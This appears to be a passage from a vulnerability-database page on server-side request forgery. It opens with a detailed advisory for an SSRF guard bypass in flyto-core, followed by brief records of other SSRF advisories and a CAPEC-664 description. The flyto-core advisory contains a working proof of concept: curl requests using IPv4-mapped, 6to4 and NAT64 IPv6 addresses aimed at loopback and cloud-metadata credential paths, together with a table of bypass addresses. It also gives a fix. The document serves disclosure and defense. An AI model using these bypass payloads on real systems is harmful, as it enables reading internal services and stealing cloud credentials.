away from internal/metadata endpoints is bypassable, and the response body is returned to the caller (a read SSRF).\n\n## Affected code\n\n`src/core/utils.py`:\n\n- `PRIVATE_IP_RANGES` (around L297) \u2014 lists native ranges only; no `64:ff9b::/96`, no `2002::/16`, no `::ffff:0:0/96`, no `::/96`.\n- `is_private_ip(ip_str)` (around L337) \u2014 `ipaddress.ip_address(ip_str)` then membership test against `PRIVATE_IP_RANGES`. Because the test is plain network membership (not `is_global`/`is_private` predicates), it does not unwrap transition forms, so even `::ffff:127.0.0.1` \u2014 which `ipaddress` itself classifies `is_private == True` \u2014 is **not** caught here.\n- `validate_url_ssrf` (around L358) \u2014 resolves via `socket.getaddrinfo(hostname, None, AF_UNSPEC)` and rejects only when `is_private_ip(ip)` is `True`.\n- `validate_url_with_env_config(url)` (around L496) \u2014 the wrapper actually invoked by the modules.\n\nTrust boundary in `src/core/modules/atomic/http/get.py`:\n\n- L93 `url = params.get(\u0027url\u0027)` \u2014 workflow parameter, attacker-controlled by the workflow author.\n- L104 `validate_url_with_env_config(url)` \u2014 the guard above.\n- L116 `async with session.get(url, headers=headers, ssl=ssl_param) as response` \u2014 `aiohttp` fetch; the body is returned to the caller.\n\n### How input reaches the sink (reachability)\n\n`params[\u0027url\u0027]` (L93) is fully attacker-controlled by the workflow author. It reaches the sink with no intervening sanitization other than the SSRF guard itself: L93 read \u2192 L104 `validate_url_with_env_config(url)` (the bypassed guard) \u2192 L116 `aiohttp` `session.get`. The route is `POST /v1/execute` with body `{\"module_id\":\"http.get\",\"params\":{\"url\":...}}` (bearer-token authenticated; the token is the per-instance workflow-author credential), or equivalently an `http.get` node in a workflow YAML. The response body is returned in the `data.body` field, making this a read SSRF.\n\nThe same guarded-then-fetch pattern is shared by the `http.{request,batch,paginate,session}`, `browser.goto`, `image.download`, `communication.webhook_trigger`, `notification.send`, `vector.connector` and `llm.chat` atomic modules.\n\n## Impact\n\nA user who can author/execute a workflow (the product\u0027s normal untrusted-input surface \u2014 reachable over the Execution API `POST /v1/execute` with a module-execute body, or via a workflow YAML node) can drive an authenticated outbound GET to internal-only destinations that the SSRF guard is explicitly meant to block:\n\n- Cloud instance-metadata service (`169.254.169.254`, `metadata.google.internal`) on NAT64/6to4-routed hosts via `http://[64:ff9b::a9fe:a9fe]/...`, exposing IAM credentials / instance identity.\n- Loopback and RFC 1918 internal services on any dual-stack host via the IPv4-mapped form `http://[::ffff:127.0.0.1]:8080/...`, `http://[::ffff:10.x.x.x]/...`.\n\nThe response body is returned, so this is a read SSRF (data exfiltration from internal services), not merely a blind request. Auth required = workflow author; this is precisely the input class the guard was written to constrain, and `SECURITY.md` documents the resolved-IP check as a security control, so the bypass is against the project\u0027s own stated model. CWE-918. Severity: Medium-High.\n\n## PoC / Proof of concept\n\n### End-to-end reproduction (against pinned version)\n\nEnvironment: real `flyto-core` Execution API booted from a clean install of the current default-branch HEAD (commit `4636d9f0dcf220a11cfaa1a63927b79042bfdc5c`), Python 3.12.13, `aiohttp` 3.13.5. No `FLYTO_ALLOW_PRIVATE_NETWORK` / `FLYTO_ALLOWED_HOSTS` / `FLYTO_VSCODE_LOCAL_MODE` set (production defaults).\n\nInstall and boot the real server:\n\n```\ngit clone https://github.com/flytohub/flyto-core \u0026\u0026 cd flyto-core\npython3.12 -m venv venv \u0026\u0026 . venv/bin/activate\npip install \".[api]\"\npython -m core.api            # starts uvicorn on 127.0.0.1:8333; prints token path\nTOKEN=$(cat ~/.flyto/.api-token-8333)   # auto-generated bearer token for /v1/execute\n```\n\nStart a sentinel that stands in for an internal-only service (bound to loopback, on an allowed port 8080):\n\n```python\n# sentinel.py \u2014 simulates an internal metadata/admin service reachable only from the host\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nSENTINEL = \"FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN\"\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        body = f\"{SENTINEL} path={self.path} from={self.client_address[0]}\".encode()\n        self.send_response(200); self.send_header(\"Content-Type\",\"text/plain\")\n        self.send_header(\"Content-Length\",str(len(body))); self.end_headers(); self.wfile.write(body)\n    def log_message(self,*a): pass\nHTTPServer((\"127.0.0.1\", 8080), H).serve_forever()\n```\n\nRun `python sentinel.py` in a second terminal.\n\n### Negative control 1 \u2014 raw loopback literal is correctly blocked\n\n```\n$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H \"Authorization: Bearer $TOKEN\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"module_id\":\"http.get\",\"params\":{\"url\":\"http://127.0.0.1:8080/latest/meta-data/\"}}\u0027\n{\"ok\":false,\"data\":null,\"error\":\"Module http.get failed after 3 attempts: [NETWORK_ERROR] Hostname blocked: 127.0.0.1\",\"browser_session\":null,\"duration_ms\":6010}\n```\n\n### Negative control 2 \u2014 raw IMDS literal is correctly blocked\n\n```\n$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H \"Authorization: Bearer $TOKEN\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"module_id\":\"http.get\",\"params\":{\"url\":\"http://169.254.169.254/latest/meta-data/\"}}\u0027\n{\"ok\":false,\"data\":null,\"error\":\"Module http.get failed after 3 attempts: [NETWORK_ERROR] Hostname blocked: 169.254.169.254\",\"browser_session\":null,\"duration_ms\":3003}\n```\n\n### Bypass \u2014 IPv4-mapped IPv6 literal reaches the internal sentinel\n\n```\n$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H \"Authorization: Bearer $TOKEN\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"module_id\":\"http.get\",\"params\":{\"url\":\"http://[::ffff:127.0.0.1]:8080/latest/meta-data/iam/security-credentials/admin-role\"}}\u0027\n{\"ok\":true,\"data\":{\"ok\":true,\"data\":{\"status\":200,\"body\":\"FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN path=/latest/meta-data/iam/security-credentials/admin-role from=127.0.0.1\",\"headers\":{\"Server\":\"BaseHTTP/0.6 Python/3.12.13\",\"Date\":\"Sat, 30 May 2026 08:13:39 GMT\",\"Content-Type\":\"text/plain\",\"Content-Length\":\"124\"}}},\"error\":null,\"browser_session\":null,\"duration_ms\":1}\n```\n\nThe sentinel access log confirms the request really arrived from the app:\n\n```\n[sentinel] \"GET /latest/meta-data/iam/security-credentials/admin-role HTTP/1.1\" 200 -\n```\n\nThe guard passed the transition-form host and the internal sentinel body (including the `FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN` marker) was returned to the caller.\n\n### Bypass \u2014 NAT64 well-known-prefix IMDS vector reaches the SSRF gate\n\nOn this host there is no NAT64 router, so the connection cannot complete; the point is that the guard **does not raise `SSRFError`** for the NAT64 form (it proceeds to a network connect that then times out), in contrast to the raw `169.254.169.254` which is blocked at the guard:\n\n```\n$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H \"Authorization: Bearer $TOKEN\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"module_id\":\"http.get\",\"params\":{\"url\":\"http://[64:ff9b::a9fe:a9fe]/latest/meta-data/\"}}\u0027\n{\"ok\":false,\"data\":null,\"error\":\"Module http.get failed after 3 attempts: [NETWORK_ERROR] \",\"browser_session\":null,\"duration_ms\":95805}\n```\n\n(`64:ff9b::a9fe:a9fe` is the NAT64-WKP encoding of `169.254.169.254`. The empty `[NETWORK_ERROR]` is a connect timeout, **not** the `Hostname blocked` / `URL resolves to private IP` SSRF rejection seen for the raw forms \u2014 proving the guard let it through to the network layer. On a NAT64-enabled host the kernel routes this to the cloud metadata endpoint.)\n\n### Vector liveness on the affected runtime\n\nVerified directly against the project\u0027s guard logic on Python 3.12.13 (the Dockerfile runtime; `requires-python \u003e= 3.9`). Because the guard uses plain `PRIVATE_IP_RANGES` membership rather than the `is_global`/`is_private` predicates, it is **not** affected by the CPython CVE-2024-4032 (3.12.4+) reclassification, and all of these bypass the guard on every supported runtime:\n\n```\n64:ff9b::a9fe:a9fe       guard_blocks=False   (NAT64-WKP -\u003e 169.254.169.254)\n64:ff9b::7f00:1          guard_blocks=False   (NAT64-WKP -\u003e 127.0.0.1)\n2002:7f00:1::            guard_blocks=False   (6to4 -\u003e 127.0.0.1)\n::ffff:169.254.169.254   guard_blocks=False   (IPv4-mapped -\u003e IMDS)\n::ffff:127.0.0.1         guard_blocks=False   (IPv4-mapped -\u003e loopback)   [used in the deployed bypass above]\n169.254.169.254          guard_blocks=True    (native, correctly blocked)\n127.0.0.1                guard_blocks=True    (native, correctly blocked)\n```\n\n## Suggested fix\n\nUnwrap any embedded IPv4 from IPv6 transition forms and range-check it as well as the outer address, before the membership test. Re-checking the embedded IPv4 (rather than blanket-blocking the prefix) keeps legitimate public destinations expressed in transition form allowed.\n\n```python\ndef _extract_embedded_ipv4(ip):\n    \"\"\"IPv4 embedded in an IPv6 transition address (mapped/compat/6to4/NAT64), else None.\"\"\"\n    if ip.version != 6:\n        return None\n    if ip.ipv4_mapped is not None:\n        return ip.ipv4_mapped\n    if ip.sixtofour is not None:               # 2002::/16\n        return ip.sixtofour\n    raw = int(ip).to_bytes(16, \u0027big\u0027)\n    if raw[:2] == b\u0027\\x00\\x64\u0027 and (raw[2:4] == b\u0027\\xff\\x9b\u0027 or raw[2:6] == b\u0027\\xff\\x9b\\x00\\x01\u0027):\n        return ipaddress.IPv4Address(raw[-4:])  # NAT64 64:ff9b::/96 and 64:ff9b:1::/48\n    if raw[:12] == bytes(12) and raw[12:] not in (bytes(4), b\u0027\\x00\\x00\\x00\\x01\u0027):\n        return ipaddress.IPv4Address(raw[-4:])  # IPv4-compatible ::a.b.c.d (deprecated)\n    return None\n\n\ndef is_private_ip(ip_str: str) -\u003e bool:\n    try:\n        ip = ipaddress.ip_address(ip_str)\n    except ValueError:\n        return True\n    candidates = [ip]\n    embedded = _extract_embedded_ipv4(ip)\n    if embedded is not None:\n        candidates.append(embedded)\n    for candidate in candidates:\n        for network in PRIVATE_IP_RANGES:\n            if candidate.version == network.version and candidate in network:\n                return True\n    return False\n```\n\n### Patched-build verification (same deployed server, fix applied)\n\nWith the fix applied to the installed `core/utils.py` and the server restarted, the previously-successful bypass is now blocked at the guard, and the NAT64 form is now an `SSRFError` instead of a connect timeout:\n\n```\n# [::ffff:127.0.0.1]:8080  (was ok:true returning the sentinel; now blocked)\n{\"ok\":false,\"data\":null,\"error\":\"Module http.get failed after 3 attempts: [NETWORK_ERROR] URL resolves to private IP: ::ffff:127.0.0.1 -\u003e ::ffff:127.0.0.1. Use \u0027allowed_hosts\u0027 to enable controlled private access.\",\"duration_ms\":5573}\n\n# [64:ff9b::a9fe:a9fe]  (was a 95s connect timeout; now rejected at the SSRF gate)\n{\"ok\":false,\"data\":null,\"error\":\"Module http.get failed after 3 attempts: [NETWORK_ERROR] URL resolves to private IP: 64:ff9b::a9fe:a9fe -\u003e 64:ff9b::a9fe:a9fe. Use \u0027allowed_hosts\u0027 to enable controlled private access.\",\"duration_ms\":3003}\n```\n\nPublic destinations expressed in transition form (e.g. `::ffff:8.8.8.8`, `64:ff9b::808:808` = 8.8.8.8) remain allowed by the fix, since the embedded IPv4 is itself public.\n\n## Fix PR\n\nA fix PR with the change above plus regression tests is provided via the advisory\u0027s private temporary fork (link added to this advisory).\n\n## Credit\n\nReported by tonghuaroot. Found by independent source review and confirmed with the deployed end-to-end reproduction above. CWE-918.",
  "id": "GHSA-794r-5rp2-fpg8",
  "modified": "2026-07-06T17:30:34Z",
  "published": "2026-07-06T17:30:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-794r-5rp2-fpg8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "flyto-core has SSRF guard bypass via IPv6 transition addresses (IPv4-mapped / 6to4 / NAT64) in validate_url_ssrf"
}

GHSA-7997-4R78-H34M

Vulnerability from github – Published: 2023-10-10 18:31 – Updated: 2025-10-22 00:32
VLAI
Details

Skype for Business Elevation of Privilege Vulnerability

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-41763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-10T18:15:18Z",
    "severity": "MODERATE"
  },
  "details": "Skype for Business Elevation of Privilege Vulnerability",
  "id": "GHSA-7997-4r78-h34m",
  "modified": "2025-10-22T00:32:51Z",
  "published": "2023-10-10T18:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41763"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-41763"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-41763"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79MR-P6X2-HW9G

Vulnerability from github – Published: 2022-05-17 05:34 – Updated: 2024-02-08 21:30
VLAI
Details

The Mail Fetch plugin in SquirrelMail 1.4.20 and earlier allows remote authenticated users to bypass firewall restrictions and use SquirrelMail as a proxy to scan internal networks via a modified POP3 port number.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2010-1637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-06-22T17:30:00Z",
    "severity": "MODERATE"
  },
  "details": "The Mail Fetch plugin in SquirrelMail 1.4.20 and earlier allows remote authenticated users to bypass firewall restrictions and use SquirrelMail as a proxy to scan internal networks via a modified POP3 port number.",
  "id": "GHSA-79mr-p6x2-hw9g",
  "modified": "2024-02-08T21:30:32Z",
  "published": "2022-05-17T05:34:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1637"
    },
    {
      "type": "WEB",
      "url": "http://conference.hitb.org/hitbsecconf2010dxb/materials/D1%20-%20Laurent%20Oudot%20-%20Improving%20the%20Stealthiness%20of%20Web%20Hacking.pdf#page=69"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2012/Feb/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2010-June/043239.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2010-June/043258.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2010-June/043261.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2012-0103.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/40307"
    },
    {
      "type": "WEB",
      "url": "http://squirrelmail.org/security/issue/2010-06-21"
    },
    {
      "type": "WEB",
      "url": "http://squirrelmail.svn.sourceforge.net/viewvc/squirrelmail/branches/SM-1_4-STABLE/squirrelmail/plugins/mail_fetch/functions.php?r1=13951\u0026r2=13950\u0026pathrev=13951"
    },
    {
      "type": "WEB",
      "url": "http://squirrelmail.svn.sourceforge.net/viewvc/squirrelmail/branches/SM-1_4-STABLE/squirrelmail/plugins/mail_fetch/options.php?r1=13951\u0026r2=13950\u0026pathrev=13951"
    },
    {
      "type": "WEB",
      "url": "http://support.apple.com/kb/HT5130"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2010:120"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2010/05/25/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2010/05/25/9"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2010/06/21/1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/40291"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/40307"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2010/1535"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2010/1536"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2010/1554"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79R7-F3JP-52J9

Vulnerability from github – Published: 2024-12-05 21:31 – Updated: 2024-12-11 18:30
VLAI
Details

Oxide control plane software before 5 allows SSRF.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-50913"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-05T20:15:20Z",
    "severity": "CRITICAL"
  },
  "details": "Oxide control plane software before 5 allows SSRF.",
  "id": "GHSA-79r7-f3jp-52j9",
  "modified": "2024-12-11T18:30:40Z",
  "published": "2024-12-05T21:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50913"
    },
    {
      "type": "WEB",
      "url": "https://docs.oxide.computer/security/advisories/20231215-1"
    },
    {
      "type": "WEB",
      "url": "https://oxide.computer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79V6-3RR4-H2Q4

Vulnerability from github – Published: 2025-03-26 12:30 – Updated: 2025-03-26 12:30
VLAI
Details

The Product Import Export for WooCommerce – Import Export Product CSV Suite plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.5.0 via the validate_file() Function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-1912"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-26T12:15:15Z",
    "severity": "HIGH"
  },
  "details": "The Product Import Export for WooCommerce \u2013 Import Export Product CSV Suite plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.5.0 via the validate_file() Function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-79v6-3rr4-h2q4",
  "modified": "2025-03-26T12:30:35Z",
  "published": "2025-03-26T12:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1912"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/product-import-export-for-woo/trunk/admin/modules/import/classes/class-import-ajax.php#L175"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3261194"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/product-import-export-for-woo/#developers"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/406b52dc-3d36-4b03-a932-34f456395979?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7C2R-3JQF-C9RW

Vulnerability from github – Published: 2018-10-18 17:43 – Updated: 2022-09-14 00:19
VLAI
Summary
jackson-dataformat-xml vulnerable to server side request forgery (SSRF)
Details

Versions of jackson-dataformat-xml) prior to 2.7.8 and prior to 2.8.4 allow remote attackers to conduct server-side request forgery (SSRF) attacks via vectors related to a DTD.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.dataformat:jackson-dataformat-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.dataformat:jackson-dataformat-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-7051"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:22:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Versions of jackson-dataformat-xml) prior to 2.7.8 and prior to  2.8.4 allow remote attackers to conduct server-side request forgery (SSRF) attacks via vectors related to a DTD.",
  "id": "GHSA-7c2r-3jqf-c9rw",
  "modified": "2022-09-14T00:19:56Z",
  "published": "2018-10-18T17:43:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7051"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-dataformat-xml/issues/211"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1378673"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-dataformat-xml"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-7c2r-3jqf-c9rw"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97688"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jackson-dataformat-xml vulnerable to server side request forgery (SSRF)"
}

GHSA-7C36-9FQM-VMXF

Vulnerability from github – Published: 2025-08-20 15:31 – Updated: 2025-08-20 15:31
VLAI
Details

CWE-918: Server-Side Request Forgery (SSRF) vulnerability exists that could cause unauthorized access to sensitive data when an attacker configures the application to access a malicious url.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-54925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-20T14:15:46Z",
    "severity": "HIGH"
  },
  "details": "CWE-918: Server-Side Request Forgery (SSRF) vulnerability exists that could cause unauthorized access to sensitive data when an attacker configures the application to access a malicious url.",
  "id": "GHSA-7c36-9fqm-vmxf",
  "modified": "2025-08-20T15:31:42Z",
  "published": "2025-08-20T15:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54925"
    },
    {
      "type": "WEB",
      "url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-224-02\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2025-224-02.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list